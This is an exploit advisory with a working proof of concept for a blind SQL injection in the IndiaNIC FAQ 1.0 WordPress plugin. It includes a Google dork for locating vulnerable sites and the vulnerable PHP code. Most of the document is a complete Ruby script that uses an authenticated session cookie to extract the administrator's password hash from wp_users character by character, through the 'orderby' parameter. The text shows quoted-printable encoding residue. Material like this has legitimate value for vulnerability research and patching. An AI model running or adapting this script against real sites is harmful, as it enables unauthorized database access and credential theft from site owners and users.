# Exploit Title: WordPress IndiaNIC FAQ 1.0 Plugin Blind SQL Injection
# Google Dork: inurl:wp-content/plugins/faqs-manager
# Date: 21.03.2013
# Exploit Author: m3tamantra (http://m3tamantra.wordpress.com/blog)
# Vendor Homepage: http://wordpress.org/extend/plugins/faqs-manager/
# Software Link: http://downloads.wordpress.org/plugin/faqs-manager.zip
# Version: 1.0
# Tested on: Apache/2.2.16 (Debian) PHP 5.3.3-7+squeeze14 with Suhosin-Patc=
h (cli)

##############
# Description:
##############
# The "order" and "orderby" parameter is vulnerable for SQL Injection
# Example URL: http://127.0.0.1:9001/wordpress/wp-admin/admin.php?page=3Din=
ic_faq&orderby=3D<sqli>
# PoC take some time to finish (15min on my Testsystem).
# I could speed it up with Multithreading but I'm to lazy right now


#### Vulnerable code part (wp_list_table.php) #############################=
###################################
#
# function prepare_items() {
#  $this->_column_headers =3D array($this->_columns, $this->_hidden_columns=
, $this->_sortable_columns);
#  $sort_order =3D isset($_GET['order']) ? $_GET['order'] : "ASC";
#  $orderby_column =3D isset($_GET['orderby']) ? " ORDER BY {$_GET['orderby=
']} {$sort_order}" : false;
#
#  global $wpdb;
#  if (is_array($this->_sql)) {
#    if ($orderby_column =3D=3D false) {
#      $data =3D $this->_sql;
#    } else {
#      $data =3D $this->_sql;
#      usort($data, array(&$this, 'usort_reorder'));
#    }
#  } else {
#    $data =3D $wpdb->get_results("{$this->_sql}{$orderby_column}", ARRAY_A=
);
#  }
###########################################################################=
#####################################



#################################
#### Blind SQL Injection PoC ####
#################################
require "net/http"
require "uri"

$target =3D "" # EDIT ME #
$cookie =3D "" # EDIT ME # authenticated user session

# Example:
#$target =3D "http://127.0.0.1:9001/wordpress/"
#$cookie =3D "wordpress_a6a5d84619ae3f833460b386c064b9e5=3Dadmin%7C13640405=
45%7C86475c1a4fe1fc1fa5f1ebb04db1bc8f; wp-settings-1=3Deditor%3Dhtml; wp-se=
ttings-time-1=3D1363441353; comment_author_a6a5d84619ae3f833460b386c064b9e5=
=3Dtony; comment_author_email_a6a5d84619ae3f833460b386c064b9e5=3Dtony%40bau=
er.de; comment_author_url_a6a5d84619ae3f833460b386c064b9e5=3Dhttp%3A%2F%2Fs=
ucker.de; wordpress_test_cookie=3DWP+Cookie+check; wordpress_logged_in_a6a5=
d84619ae3f833460b386c064b9e5=3Dadmin%7C1364040545%7Cd7053b96adaa95745023b91=
694bf30ef; PHPSESSID=3D1h7f2o5defu6oa8iti6mqnevc7; bp-activity-oldestpage=
=3D1"

if $target.eql?("") or $cookie.eql?("")
    puts "n[!]tPlease set $target and $cookie variablen"
    raise
end

$chars =3D ["."] + ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a
$hash =3D "$P$"
$i =3D 0 # chars index
$j =3D 4 # hash index


def sqli_send()
    sqli =3D URI.escape("(CASE WHEN ((SELECT ASCII(SUBSTRING(user_pass, #{$=
j}, 1)) FROM wp_users WHERE id =3D 1) =3D #{$chars[$i].ord}) THEN 1 ELSE 1*=
(SELECT table_name FROM information_schema.tables)END) --")
    uri =3D URI.parse("#{$target}wp-admin/admin.php?page=3Dinic_faq&orderby=
=3D#{sqli}")
    http =3D Net::HTTP.new(uri.host, uri.port)
    #http.set_debug_output($stderr)
    request =3D Net::HTTP::Get.new(uri.request_uri)
    request["User-Agent"] =3D "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8;=
 rv:19.0) Gecko/20100101 Firefox/19.0"
    request["Cookie"] =3D $cookie
    resp =3D http.request(request)
    if( resp.code !=3D "200" )
        puts "something is wrong response =3D #{resp.code}"
        raise
    end
    # In WordPress default settings there will no SQL error displayed
    # but when an error apperes we don't get any result.
    # The PoC search for "No record found" and suppose there was an error
    return resp.body().match(/No record found/)=20
end

def print_status()
    output =3D "HASH: #{$hash} try #{$chars[$i]}"
    print "b"*output.length + output
end

while( $hash.length < 34 )
    if( !sqli_send() )
        $hash +=3D $chars[$i]
        $j +=3D 1
        $i =3D 0
    else
        $i +=3D 1
    end
    print_status()
end
puts "n[+]thave a nice day :-)n"